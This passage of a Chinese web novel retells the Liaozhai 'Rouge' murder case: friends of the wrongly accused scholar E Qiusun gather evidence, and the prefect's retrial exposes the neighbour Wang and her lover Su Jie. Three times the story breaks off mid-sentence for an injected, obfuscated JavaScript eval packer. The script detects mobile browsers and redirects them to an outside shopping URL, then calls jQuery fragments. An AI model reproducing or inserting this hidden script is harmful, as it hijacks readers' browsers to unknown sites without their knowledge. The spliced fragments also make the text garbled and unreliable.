他说完又犹豫了一下,道:“只是若去找这位卞姑娘确认事情细节恐怕也有不妥。如今她本就是因不守礼法惹祸上身,害了自己父亲,无论是自己的内疚还是他人的议论,都足够让她难受了。我们以秋隼友人的名义去问她,她恐怕也不会直言相告,反倒还怕刺激她做出什么不理智的事,那秋隼的案子就更难有转机了。” “也对,我们毕竟是男子,此时上门去找她,能不能问出更多案件细节还两说,若是被他的那些街坊邻居看到,肯定要流言四起了,对案子百害而无一利。”丁再昌叹道,也是愁眉莫展。 李钰闻言思忖了片刻,他们去找不行,若是让行野悄悄去她家里面找卞胭脂问话可行吗?恐怕也不好,现在她定然最是警惕男子,若真如师弟他们所说那样刺激到了她,反倒让行野背上一桩因果……对了,他是知道这个卞胭脂的!那日她到他们铺子里买脂粉,和婴宁看起来颇为相熟,要不拜托婴宁帮忙好了。 他将这个想法跟二人一说,都觉得可行,若让女子前去,从各方面来讲可能都要好说话些。 李钰雷厉风行,立刻去找了婴宁详细地说明了情况。 以往都是笑脸盈盈的婴宁听闻此事也沉下了脸,关系到人命,不能不严肃对待,于是正色道:“少东家和白道长对我有恩,此事又涉及人命,我若能帮得上忙,自然义不容辞。” 李钰很是感激,“那就拜托你了,只是此时恐怕卞家周围还不消停,你一个姑娘本也不好沾惹这事,还需得避人耳目,我们只能晚点去。不如你先和我回家去,就跟铺子上的人说,是我娘让你去宅中花园里帮忙,要在那边住几天,晚上我和行野送你去卞家。” 婴宁连忙应下,就去跟铺子里的娘子们说了一声。 话分两头,白行野进到狱中帮鄂秋隼处理伤口,此时鄂秋隼已经醒了,就是身后的伤口实在惨不忍睹。除了给他上药,白行野还悄悄渡了些灵气给他,养伤好歹也得有精神养才行。 鄂秋隼迷茫的双眼渐渐聚焦,他看清眼前之人,猛地捉住白行野的手就开始哭。白行野眉头一皱,还是忍住了,没有推开他。 “白道长,真的不是我,我真的不认识那个卞姑娘,也没有杀人!到底是为什么会牵扯上我啊?”鄂秋隼跟见到救星一样哭诉道。 白行野耐着性子道:“大家都知道你是被冤枉的,阿钰他们现在就在外面帮你想办法。你也不用担心你娘,她现在被接到席家去了,席家大娘子在照顾她。” 鄂秋隼听了委屈之外多了些感动,也终于冷静了下来。 “只有一事,无论再如何受刑,你绝对不能认罪,更不可画押!这瓶金疮药你藏在草垫下,自己记得擦,还有这包参片,若是觉得撑不住便含一片。” 鄂秋隼接过药含泪点头,“谢谢白道长,拜托大家了。” 当晚,李钰、白行野和婴宁,趁着夜色前往卞家。而此时卞家门口的场景,却让三人都露出讶异之色。 卞家门户紧闭,门前挂着白灯笼,而门上、地上全是被砸的烂菜叶,数量之多,简直无从下脚,散发的味道更是难闻。 三人面色难看,这卞家遭遇了这种事情,居然还有人如此对待失去了亲人的卞家母女。 作为非人的白行野和婴宁更是无法理解,婴宁迟疑地问:“这是怎么回事?卞家不是在办丧事吗?怎么会有人这么对她们?” 李钰却是知道原因的,叹了口气幽幽道:“女子名声,是一把杀人的刀。” 他的声音很低,但在场的另两人都听得清楚,神情各异。眉头紧锁的白行野抬手一挥,将门前的脏物清理掉。 李钰向婴宁点了点头,婴宁深呼吸了一下,事关重大,她可不想出差错。她走上前轻轻的敲响了卞家大门,李钰二人已躲到一旁去了。 过了许久才有人来开门,来者正是披麻戴孝的卞胭脂。 因为方才门口那一幕,又看到形容憔悴的卞胭脂,婴宁脸上不由露出一丝心疼,她道:“卞姑娘,深夜相扰,还望见谅,我听闻噩耗,特此前来吊唁卞伯父。” 卞胭脂红肿的双眼渐渐睁大,她完全没想到发生此事以后,居然是一名女子不顾自身声誉前来吊唁,她声音沙哑道:“你不该来,平白污了你的名声……” 话未尽泪先流,本以为她的眼泪已经流干了,此时泪水却无法抑制地再次滚落下来。 婴宁走进灵堂,视线停在堂中一卷草席上。卞牛医走得突然,家里恐怕是来不及买合适的棺材,尸体被一卷草席包裹着。婴宁是在荒坟地长大的,没有丝毫惧色,按李钰说的规规矩矩地上香祭拜。 做完这些,她才拉着卞胭脂走到院中,她关心道:“伯母怎么不在?” 卞胭脂含泪说:“母亲受到打击太大病倒了,现在房里睡着呢。都怪我,这一切都怪我……” 婴宁握住卞胭脂的手,劝道:“胭脂姑娘,你不要这样想,那是杀人犯作的恶,怎能怪你?” “如果不是我有眼无珠,思慕上那豺狼,怎会引狼入室?”卞胭脂显然已经陷入自责中难以自拔。 婴宁心里记着李钰的吩咐,试探问道:“你一个姑娘家,平日甚少出门,顶多出来买点针线或胭脂水粉,怎么认识鄂秀才的?” 卞胭脂将手从婴宁手中抽回,头偏向一边,“你也觉得我不堪吧?” “我怎会如此想?”婴宁矢口否认道,“姑娘想岔了,我只是在想这鄂秀才毕竟是读书人,还刚中了秀才准备考科举的,这样有着大好前程的人,为何会铤而走险做出这种事?此事是否还有什么误会?或许犯人并不是鄂秋隼呢?” 卞胭脂还当婴宁是想法太天真,她摇头道:“这就是知人知面不知心,我当初第一次见到他的时候,他从我门前经过,看到我立刻害羞得低下头匆匆而过。我那时也当他是个老实的读书人,谁知道他忽然在一天半夜不约而至,任我如何赶都赶不走。” 婴宁听得捂住嘴,迟疑地问:“确定是鄂秀才吗?怎会如此不管不顾就找上门,也太孟浪了!” 卞胭脂忽然止住了话头,那日王氏说了让他们两人见上一面,没几天鄂秋隼便找上门来,定是王氏自作主张。可王氏应该也是好心,她并不想牵连这位邻居姐姐,在公堂之上,也直接隐去了王氏在其中的作用。她丈夫常年在外,一个女人独自在家本就容易遭到非议,若是还让别人知道,她帮了两人牵线搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244485|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桥,助二人钻穴逾墙,那些难听的污言秽语岂不也要落到王氏头上?她已经害了自己一家,何必再搭上与她交好的王姐姐。 她停顿了半晌,才道:“怎么不是他?是他上门自报家门的,也是他强行抢了我的绣鞋。”卞胭脂说起这事就生气,见婴宁还不信,便将事情的经过从头到尾说了一遍。 婴宁少经人事,却极聪慧,立刻发现其中蹊跷,“不对呀胭脂姑娘,若真是鄂秋隼,既然他已来找过你一次,第一次能直接来敲你的窗扉,怎么反而来过一次后,第二次却走错了屋呢?” “这……”卞胭脂可没想过这个问题,“这我如何知晓?或许是那晚没看清……” “我总觉得其中有些地方不对……” 卞胭脂虽感动于婴宁在此时来看她,但是面对她连续的质疑也有些恼了,“有什么不对?总之绣鞋都在他身上,人肯定同一人,那就是鄂秋隼!至于他当天是喝多了酒还是看花眼才走错的门,这就要去问他了。” 婴宁见她激动起来,也不敢再多问,安慰了几句就告辞了。反正她已经从卞胭脂的口中将案件的经过还原,也找到了其中违和之处,目的既已达成,她再与其争辩也无用。 临走前,她对卞胭脂道:“姑娘若今后有难处就到胭脂铺来找我,我虽无能,但也愿略尽绵力,只望姑娘可千万要珍重自身。” 这话卞胭脂听了进去,感激地点了点头,将婴宁送了出去。 见卞胭脂阖上了门,李钰和白行野才从一旁树下走出来,三人汇合一同回了李家再行商议。 因为婴宁可不像小翠可化狐身,在他人眼中还是一个姑娘家,于是他们三人便在花厅敞着门议事。 婴宁将她问到的情况一一说明,又指出了其中的疑点。 “婴宁姑娘说的没错,没道理第一次上门就找对房间的人,第二次却走错。”李钰赞同道,“感觉就像是两个不同的人,可第一次这人就自称鄂秋隼,实在可疑。” 白行野接过话,“如果不是同一个人,那第二次来的人却是通过什么途径得到了卞姑娘的绣鞋呢?” 众人陷入思索。 “还有一点。”婴宁一边回忆卞胭脂说话状态一边说,“我当时听胭脂姑娘说话,中途她好像在想什么,迟疑了许久,给人的感觉像是有所保留,或许她对我说的并不是完整的经过。” 白行野也同意婴宁的看法,“如你所说,他们二人初遇是在卞家门口,只有一面之缘,就算夜里来找她的是真是秋隼,可鄂秋隼如何就知道卞姑娘对他有意?” 李钰“啪”的一声合上折扇,“没错,中间必然少了一环,或者说少了什么人!无论在公堂上,还是对婴宁姑娘所说,这位卞姑娘皆并未说出实话,或者说是没有说全实话。” “事关人命之事,却还有所隐瞒,她到底想不想还自己父亲一个公道?”白行野拧眉不解道。 婴宁叹了一声道:“可惜我没能问出更多,当时她情绪有些激动,我也不敢过于逼问她。” “你做得没错,确实不适合将她逼得太紧。我们现在得到的信息已经够多了,今天辛苦你了。”李钰安慰婴宁道。 受了夸奖的婴宁今日可算露出了笑容。虽一时还不清楚其中缺少的环节到底为何,但今天已经太晚了,三人各怀心思,暂且先散了。 59.胭脂(五) 夜里,李钰还在心神不宁地思考其中到底缺少了哪一环?白行野轻轻拍拍他的背,就像在哄他睡觉一样,“好了,你别想了,鄂秋隼一时半会儿也死不了,我们还有时间的。” 李钰心烦地在床上一滚,扎进白行野怀里,现在他已经习惯这个姿势了,他趴在白行野胸口闷闷地说:“好吧,明天起来再想。明天你可得早点叫我,我让我娘陪婴宁一起回铺子上,毕竟还是个小姑娘,住在别人家得有个说法,和我娘在一起就不怕别人乱说了。” 白行野摸了摸他的头,无奈道:“你啊,就是操心太多了,小心未老先衰。” 李钰仰头轻轻顶了顶白行野的下巴,“你什么意思?怕我老?” 白行野轻笑出声,凑近李钰耳畔说:“我怕什么?你不是听小翠说过采补之法吗?我可以不采你只补给你,用这种方法也可以延缓衰老,保你长寿。你我共享生命,这样我就是不去偷南极仙翁的长生药水,也能让你青春常在了。” 这话听得李钰面红耳赤,他用手顶着白行野的胸口,拉开了距离,“嘿,我以前怎么没发现你这么不正经?” 白行野稍一用力又把李钰搂了回来,“怎么样,要不要试试?” 李钰万万没想到,行野表明心意后竟然开窍得如此之快。可是别说他现在还没有心理准备,如今也没有心思做这些事,他主动亲了亲白行野的唇,片刻后才说:“等忙完秋隼的事再说吧。” 白行野也没有因此不高兴,只是加深了二人的吻。 翌日一早,李钰就去给木若菱请安,又将婴宁的事交代了一番。 木若菱还打趣他,说他如果看上了婴宁,她就提亲去。给李钰吓得忙赌咒发誓,说自己绝无此意,两人是纯洁的友谊! 没想到儿子反应如此大,木若菱摇了摇头,想不通自家儿子到底在想什么?婴宁那么蕙质兰心的姑娘都不喜欢,天天就和朋友们腻在一起,真是长不大。 她哪想到自己儿子早就在她眼皮子底下跟她的好贤侄谈起了恋爱!整日卿卿我我的不说,还时常利用詹贵儿这个小鬼头帮他们盯梢打掩护,小贵儿因此从白行野那儿得了不少灵气,如今几乎天天凝出实体,现身人前大摇大摆,与普通孩子无异。 最近这两日,李钰二人几乎天天要在客栈和席方平、丁再昌碰头。李钰将自己查到的信息都告知了二人,可那中间明显缺失的环节和人物,始终没能拼凑出来,几人也越发的焦躁不安。 这日有了新消息,四人又聚在一起。 丁再昌从他爹之前的下属口中得知,本来鄂秋隼已经翻供,拒不认罪,又多次要求和卞胭脂对峙。可那位卞姑娘极为固执,咬死犯人就是鄂秋隼!鄂秋隼又拿不出证据,事件相关的那几晚他都在家里,家中就他和老母亲,他母亲每日早早就睡了,证词也不被采纳。 如此几次,倒是惹怒了胡知县,又让鄂秋隼受了两次刑,虽然他有白行野送去的药,却还是让人不由担心。 白行野心想,若是他来办,他自有法子让卞胭脂说出真相,可思及那晚他们在卞家门口看到的景象,又想起李钰说的那些话,终是忍了下来,没有表达自己的想法。 另外三人愁眉莫展,现在只能庆幸像这种杀人大案罪该偿命。知县可以断案,但还需要上报府衙,府衙再上报,层层审核下来最终由京里确定问斩。 如今胡知县敷衍断案,对个中疑点毫无所觉,指望他查证清楚事实已不可能。更怕在重刑之下,鄂秋隼撑不住认罪,案件结果上报,若是没人细看卷宗,发现其中蹊跷之处,鄂秋隼的性命就再难保全了。 想到上报流程,李钰忽然记起自己家里急公好义的牌匾,上面还有知府大人的题字,他问丁再昌:“师弟,你可知如今的知府大人吴南岱为官如何?” 丁再昌想了想说:“我爹曾说吴大人虽有些年轻气盛,但并非武断之人,为人心细,断案重证……你这么说,难道是想找吴大人介入此案?” “是,这胡端简直就是个昏官,他断案基本是靠着想当然的直觉和严刑逼供,他为了早早结案,我真怕秋隼在他手上被屈打成招,还不如早些让此案移交至府衙。”李钰道。 “有理,有理啊!”丁再昌连连点头,“胡知县现在已然认定了秋隼害人,后续的所谓审理和对质根本就是走过场、做样子。师兄,若是此案在吴大人手上应当不会如此草率地结案,说不定由他审理此案能查出更多的细节。” “此事可行吗?”席方平皱眉,他平日处事豪迈却并非鲁莽之人,他提出,“要如何移交到府衙?按常理来讲,现在此案已在县衙审理,只等秋隼认罪,县衙将结果呈交上去,府衙才会审核案情和结果。但到了那个时候,秋隼必是已经认罪画押,这种情况下吴大人也不一定会仔细看这个案子,不能一味指望他就能发现蹊跷之处。难不成……我们去府衙状告知县屈打成招?” “我非是怕事,而是我们这里乃是府制所在,知府知县同在一处为官,谁知他们会不会沆瀣一气?而且真是走到状告知县制造冤案的那一步,我们手上又拿不出证明秋隼清白的证据,又该如何是好?” 席方平之言句句在理,室内又沉寂下去。 众人思索间,李钰开口了,“那我们就让知府大人对这个案子重视起来,主动要求亲自审理。” “那要怎么做?”丁再昌忙问。 李钰展开折扇,露出一个揶揄的笑容,“二位是文人,当官的也都是文人出身,自古以来文人闹事的方法还要我教吗?” 闻言,席方平和丁再昌福至心灵,四目相对,了然一笑。 翌日,胡知县在家中逗鸟,这几日因为那桩杀人案总少不了每日去趟衙门,难得让自己轻松一下。他当初还以为来这江南大县,混个政绩不是件难事,确实一开始也没遇到什么问题,只是这桩杀人案犯人实在是难搞。本来人证物证都齐全了,那人在堂前也认罪了,谁知后来却一改供词,坚称与此案无关,此后再用刑也都一概不认。这么一个简单明了的案子拖了这么许久,真是让人头痛。 他伸出手指点了点笼中的八哥,“再不听话,还得重刑!” 这时,身后传来匆匆的脚步声,他回头一看,正是衙门里的一个小吏,那小吏气喘吁吁来报:“大、大人不好啦!” “有事儿说事儿,别动不动就不好了,本就心烦,还来这套。”胡知县不耐烦地摆摆手,“说吧,出什么事了?” 小吏赶紧道:“县学里的学子还有城里的读书人们,今日一早都聚到府衙门口静坐!他们联名上书一封陈情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252597|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信,求知府大人出面审理鄂秋隼一案。我过来报的时候,知府大人已经决定亲自审理此案了,叫人去牢里提鄂秋隼了!” “什么?!”胡知县大惊失色,立刻就要去取官服来。走出两步忽又冷静下来,这案子还用怎么审?受害人家属都豁出名声担保了,亲自指证的犯人,难不成还有错?这些人真是是非不分,为那么点同窗之情影响本官正常办案,我倒要看看闹到吴知府那里去又能如何! 要说吴南岱吴知府拿到陈情信后颇为重视,并非只因是县中多位文人联名上书,还因为这空降来的胡知县挤走他的得力下属本就令他不满,因此看得格外仔细。 他派人去县衙取来案卷卷宗,与信中所列举疑点一一对应。比如证人并不能证明与之相会之人一定是鄂秋隼,也不能证明那只绣鞋就是鄂秋隼所遗落,更有嫌犯第一次上卞家能精准找对房门,反而第二次却走错门的疑点。而鄂秋隼仅有家中老母为证,而他母亲因早睡的关系,也不能确认他那两晚深夜都在家中。陈情书上又言,鄂秋隼平日性格内向拘谨,为人谦和有礼,且是刚刚考上了秀才,入了县学。这样的人,只因一次都没有对过话的偶遇,就如此色胆包天直接上门幽会,也不怕被对方打出来?实在疑点颇多。 可即便是如此疑点重重,这新来的知县胡端却视而不见,反倒是第一次审理就动用杖刑,屈打成招,当地书生们为此生气喊冤,也是可以理解的。吴知府看完案情和陈情信,当即决定亲自审理此案,对外发布了开庭时间,要法布于众,许民听审。 如此一来,府衙前静坐的那些读书人们才散去。 为了再确认下鄂秋隼的人品,吴知府又叫来本地张学使和县学童教谕等人,详细了解了鄂秋隼平日的言行品德,又查看了他往日考卷文章。心里面大致有了计较,这鄂生实在不像是个会杀人的凶恶之徒啊。 知县胡端自认为没什么翻案可能,却也亲自登门拜访了吴知府,吴南岱知道这人为什么来的,只随意应付了一下,就打发人走了。 几日后,卞牛医被害案在府衙公开审理,引起全城关注。一大早府衙前就围满了人,尤其那些县学学子和本地读书人,有的前一天晚上就等在此处占位置了。 周围的百姓哪里见过这阵仗?也在一旁伸着脖子看,一边还交头接耳,议论不停。 “这案子不是早结了吗?难道还有什么冤情?” “这些读书人闹什么?我听说卞家小娘子指认了奸夫杀她父亲,难道还能把奸夫给认错?” 有人听了不屑一笑,高声道:“谁知道呢?这□□还没嫁人呢,都把男人引到家里去了,不定有几个奸夫呢,认错人也有可能啊!你们说是不是?哈哈哈哈哈哈哈……” 李钰瞪了过去,见一个形容猥琐的男人在那嘴碎,引得周围人跟着一起露出暧昧不明的窃笑,他气得用手肘撞了一下白行野。 其实不用他示意,白行野已经悄然出手。 那男人突然捂住嘴巴大叫了一声,把旁边的人吓了一跳,一看他说着话竟把自己舌头咬了,移开手一看竟出了好多血。那人看着手上血迹,哪还管案子如何,立刻挤开人群跑去找郎中了。 人群中传来一声嗤笑,“呵,做人还是口下留德的好,免得祸从口出啊。” 60.胭脂(六) 说话之人是一名面如冠玉的华服男子,李钰闻声看去才认出竟是胡四相公,他居然也来看吴知府审案?他身边站着的是张学使,李钰以前去丁家拜访的时候遇到过此人。此时这两人站在一起,一个风度翩翩,一个谦谦君子,竟还有些相称。胡四相公也看到了他,两人隔着人群互相点头致意。 李钰颇为惊讶道:“没想到胡四相公那个友人是张学使。” “你认识?” “打过个照面。”李钰凑近白行野耳边,“就是不知张学使知不知道胡四相公是狐狸?” 白行野挑了挑眉,“难道知道对方是妖就不做朋友了吗?你不也知道我是,还跟我……” 李钰抬手拐他一下,“别胡说,没看到这么多人吗?” 白行野抬手捂住胸口,李钰忙问:“是不是打疼了?” 见他一脸紧张,白行野勾起唇角,摇了摇头。 丁再昌在一旁注意他俩很久了,师兄和白道长怎么看着有点奇怪啊? 因为方才那一幕,其他人都不敢再大声议论,或窃窃私语,或静待升堂。 吴知府手执惊堂木轻叩公案,分列两班的衙役随之高喊“威武——”,所有人都安静了下来,可算是开始了。 同上次一样,吴知府让原告卞胭脂先陈述案情,但卞胭脂这一次明显比上回更为悲愤,她不明白为什么明明都快结案了,竟还会闹到府衙来,一切还要从头审理!为何这官老爷就不能为民做主,早日让害死她爹的畜牲伏法吗?可在这悲愤之下,她也隐藏着一丝不确定,那日婴宁所言她时不时就会想起,难道其中真有什么误会?可不是鄂秋隼还能是谁? 卞胭脂强自定了定心神,将案情从头到尾交代了一番。 一时除了卞胭脂的声音,堂上堂下都很安静,吴知府和围观众人都仔细听着。坐在一边旁听的胡知县不住点头,这卞胭脂与当初说法一致,他稍稍放下心来,露出轻蔑一笑,看来这些人也翻不出什么水花了。 等卞胭脂说完,吴知县叫人把嫌犯鄂秋隼带上来,两个衙役一人一边提着鄂秋隼走到堂前。李钰他们已经好些日子没见到他,虽然有给他带了药,但狱中条件恶劣,只见他衣服上血迹斑斑,走路一瘸一拐,足见吃了多少苦头。 众人都看得心中一紧,就连卞胭脂看到面前之人都怔住了,哪里还有初见时翩翩少年的模样?她眼睫快速颤抖了一下,忙垂下眼眸,心里默念:这是他的报应。 胡知县就有些坐立难安了,这么就把人带上来,不显得他滥用刑罚吗?这吴知府怎的都不叫人给他换身衣服!难不成是故意为之?他斜眼偷偷瞄了吴知府一眼,吴知府面色肃穆,正襟危坐,一个眼神都没分给他。 鄂秋隼看众位友人、同窗还有县学的师长们都聚集在此,感激地冲大家微微点了点头。他被押到堂前跪了下来,虽因身体疼痛行动缓慢,仍努力绷直身体才对吴知府躬身施礼道:“小人拜见知府大人。” 吴知府将其一举一动都看在眼里,心下思量,此人遭受这样的事,却仍心怀感恩,重刑之下意志也坚定,并没丢了读书人的风骨。 他并未纠缠于案件相关那两晚鄂秋隼的所在,而是追根溯源道:“你当初是如何与卞胭脂相识的?” 此言一出,众人皆露出狐疑之色,这两人都已经是密约偷期的关系了,追究这事与案情何干啊? 卞胭脂却猛地攥紧了袖口。 鄂秋隼没有犹豫地回道:“大人明鉴,我与卞姑娘实在谈不上相识,我对第一次见到她的情形印象并不深,只是那日路过她家门口刚好遇到她开门出来而已。若不是后来几次和卞姑娘对峙,让我逐渐想起来这事,恐怕我早忘得一干二净了。” “而且我记得同她一起出门的,是我以前的邻居王氏,因此才略有些印象。” “王氏?”吴知府立刻抓住重点,他的目光投向卞胭脂,“你们相识那日竟是有两名女子在场吗?怎么方才卞姑娘的案情陈述和之前的卷宗上都没说过?” 胡知县他也不知道有这事,可这跟案情也没什么关系吧?他向吴知府拱手道:“大人,只是路过偶遇,卞姑娘应当也是因为跟案情无关才没说的吧?” 吴知府睨了他一眼没接话,只问卞胭脂:“卞氏,你可知这是杀人凶案,相关的细节都要陈述清楚!” 卞胭脂身躯一抖,她只是不想将王氏牵扯进来,这流言蜚语的可怕,她这些日子可算是真的领教过了,如何好让别的女子也因她遭受非议?她犹豫着不知如何开口。 “卞氏,当日你身边之人可是鄂秋隼从前的邻居王氏?”吴知府又问了一遍,语气越发严厉。 卞胭脂无法再隐瞒,只能点了点头。 吴知府却紧抓不放,“那王氏是否知晓你二人相约之事?” 众目睽睽之下,卞胭脂脸红得几欲滴血,“我……我是拜托过王氏替我给鄂秋隼带信去,却只是想探探其口风,若他也有意便叫媒人来提亲,绝不是让他私自前来夜会于我!” 鄂秋隼瞪大了眼睛,“我从来没有收到过什么口信!自那日以后也没再见过王氏!” 卞胭脂猛一扭头看向他,质问道:“那……那你为何会上门来找我?” 鄂秋隼长叹一声,“卞姑娘,我早就说过了,我从来没来找过你,我根本都不认识你!” 卞胭脂脸上血色褪尽,这到底是怎么回事?! 听审的众人也看不懂了,一时议论声不止。吴知府三拍惊堂木,高声道:“肃静!来人,将那王氏带来!” 立刻有衙役应声称是,出了衙门去。 案情审理暂告一段落,所有人都听出来了,原以为板上钉钉的案子,没想到这之中还有其他人掺和进来,其中恐怕真有猫腻! “果然如我们所料,中间确有关键人物缺失。”丁再昌低声道。 李钰点头应道:“虽然不知道具体的情况,但是等这王氏来了,案情应当能够有所进展。” 周围的人也交头接耳起来,方才还觉得这个案子没有重审必要的人此时也马后炮道:“我就说这鄂生好好一个秀才何必去做这种事,拼着大好的前途冒这险?” “可不是,人年轻有为,看上谁去提亲不就好了?” “你们说,这位卞姑娘也太自作多情了吧。”一人悄声道,周围又是一阵窃笑。 白行野冷冷看向那群人,笑声渐止。 “真是长见识了。” 李钰无奈地说:“人是很复杂的,白道长,这也是凡尘俗世中常见的。” 白行野气闷不语。 小插曲过去,不久后衙役将王氏带到了公堂上,看到了苍白着脸的卞胭脂和浑身是伤的鄂秋隼,她已是慌乱得不行,这事终究还是找到她头上了! 果然在吴知府几乎是咄咄逼人地追问下,三两下就问得她抬不起头。 “杀人凶犯到底是不是鄂秋隼?” 王氏连忙摇了摇头,“大人,这我真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258637|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道。” “卞胭脂托你做媒,他俩之间的事,除了你之外无人知晓,不是你在中间牵线搭桥,卞胭脂怎会说是鄂秋隼深更半夜去找她?” “大人冤枉啊!那丫头自己想男人与我何干?我嘴上答应着,其实也就是玩笑话,我可没去找过鄂秀才!他俩是怎么闹到要杀人的,我是真不知道啊!”王氏可不敢讲出自己和宿介私通之事,只一味说自己不知道。 听到王氏的话,卞胭脂错愕地看向这个往日亲和的邻家大姐,一时有些反应不过来。 吴知府见王氏情绪激动,眼神闪躲,更是看都不敢看卞胭脂,心下暗自有了分辨,语气更沉,“还敢嘴硬!那这件事,你没同别人说过?” “没、没有啊……”王氏的声音忽然低了下去。 “没有?你又没去找过鄂秋隼,卞胭脂又没拜托过别人带信,那又是哪里来登徒子以鄂秋隼的名义去找的卞胭脂?” 此话一出,卞胭脂更是惊疑不定,她紧紧盯着王氏,只见其脸上一阵青一阵白,十分害怕的样子。 她都看得出来,吴知府自然看得出来,更加疾言厉色地质问王氏,“此等女儿心思卞胭脂难不成自己到处说去?不是你透露给他人,还能是谁?再不老实交代,难道等着本官用刑吗?” 王氏毕竟是个没太见过世面的人,再也经不住吴知府的步步逼问,声泪俱下地将她与宿介私通,宿介又以鄂秋隼的名义夜会卞胭脂,还遗落了绣鞋一事交待了个干净。 全场哗然,谁能想到此案背后,竟然还隐藏着这么一对狗男女从中作怪,不但是卞胭脂被骗,还害得鄂秋隼无辜顶罪,白白受这牢狱之灾、刑罚加身。 一时群情激愤,有人大骂堂上的王氏不知廉耻。 王氏瑟缩在地,不敢抬头。 “肃静!再有人扰乱公堂就赶出去!”吴知府放出话来,众人才一一闭上嘴。 有眼色的衙役早在王氏交代出宿介之时,便离开去缉拿宿介,这次很快将人抓了过来。 要说此人这几日也是坐立难安,他也是文人,早知道周围的人要闹着去给鄂秋隼申冤。他盘算着总之卞胭脂并不知道他,应该是不会牵扯上他,万一真扯上他,这杀人案跟他也没关系啊。抱着侥幸心理,他只偷偷关注着进度。哪知如今真牵连上他了!可此时后悔已经来不及了,衙役刚把他带到公堂上,他就立刻痛哭流涕,大喊自己冤枉。 所有人都被这一幕搞蒙了,怎么又来一个喊冤叫屈的?也有人注意到,难怪卞胭脂会认错,宿介和鄂秋隼两人音色确实有些相似。 宿介心想私通一事既然瞒不住了,可杀人案必定要撇清关系啊!他不敢隐瞒,同王氏一样的说辞,他确实色迷心窍,欺骗了卞胭脂,强抢了绣鞋,但当晚就把绣鞋弄丢了。和王氏是夜里也找,黎明也找了,都没有找到。卞牛医被杀,定是捡走绣鞋之人所为,可绝不是他宿介! 王氏也跟着一唱一和,说她和宿介知道的就这么多,当日确实找了很久绣鞋都没有找到。 可他二人说这话哪能取信于人? 吴知府也被这一对奸夫□□激起怒火,认定他俩必是提前串供好的,立刻叫人行刑,非得打得他们说实话! 此时的宿介和王氏,就如那日的鄂秋隼一样,被压在地上棍棒伺候。不一会儿,均是鬼哭狼嚎,皮开肉绽,堂下围观众人却都纷纷叫好。 李钰皱眉偏过脸去,他问白行野,“你觉得他们二人说的是真的吗?” 61.胭脂(七) 白行野默然摇摇头,或许他们表现得自己很冤枉,可以这二人的人品,却很难让人相信他们真的与案子无关。 二十杖过去,宿介和王氏依旧哭嚎着坚称此事与他们无关,他们知道的已经都交代了。 眼见此案一时还下不了定论,又缺乏实质证据,吴知府也不想跟胡端似的做那屈打成招的事,只得得暂且退堂,择日再审。王氏和宿介双双被收押,鄂秋隼则因嫌疑洗脱,被当堂释放。 李钰等人都迎了上来,将鄂秋隼搀扶住,鄂秋隼泪流满面,终于沉冤昭雪,激动得不能自已。 席方平拍了拍他的肩道:“先别说有的没的,你随我回家去。伯母在家里等得着急,你在我家养好伤再说。” 鄂秋隼点了点头,但仍拖着伤病的身躯对着众位同窗友人缓缓拱手施礼,在场众人都明白他的感激之意,一时皆是鼻酸眼热,百感交集。 “后面就劳你照顾秋隼了。”李钰又掏出一瓶药交给席方平拿着,“这药对外伤见效很快,我娘说我小时候不懂事总是磕绊,用了这药疤痕都没留一个。” 席方平干脆地接过药,“什么劳不劳烦?都是朋友,就别客气了,等秋隼先回去休养,他好些了再见。” 大家把鄂秋隼送上马车后,个个都打了胜仗般,呼朋引伴要去吃酒庆贺。 人群渐渐散去,李钰还有一事挂心,回头去找人。只见还有一人正失魂落魄地站在府衙门口,周围人来人往,她却形单影只,此人正是卞胭脂。有人从她身前路过狠狠往地上啐了一口,卞胭脂却依旧眼神茫然,麻木未觉。 李钰走上前去,放缓语气道:“卞姑娘,我给你雇个轿子送你回去吧。” 卞胭脂闻言缓缓抬头,一眼就认出了眼前之人是鄂秋隼那一帮为他喊冤的朋友之一。意识到李钰说了什么,她白着脸后退,立刻将头低下,转身匆匆离开了。 丁再昌看着她的背影心里有些不是滋味,又迁怒于她,半晌憋出一句,“可怜之人必有可恨之处!” 李钰轻叹道:“她也是受了蒙骗,又为父报仇心切罢了。” 丁再昌不想太过刻薄一个女子,便也闭了嘴。 回家之后,李钰有些心不在焉,饭也没吃几口就回了房。 白行野关上房门把恹恹的李钰抱在怀里,问他:“怎么了?如今鄂秋隼已经没事了,你还有何可烦恼的?” 李钰的脑袋在白行野脖颈间蹭了蹭,“我就是觉得卞姑娘也挺可怜的,她只是喜欢上一个人,结果又被坏人骗,又连累了父亲,恐怕往后日子都不好过了。” 白行野轻抚着他的背没有说话。 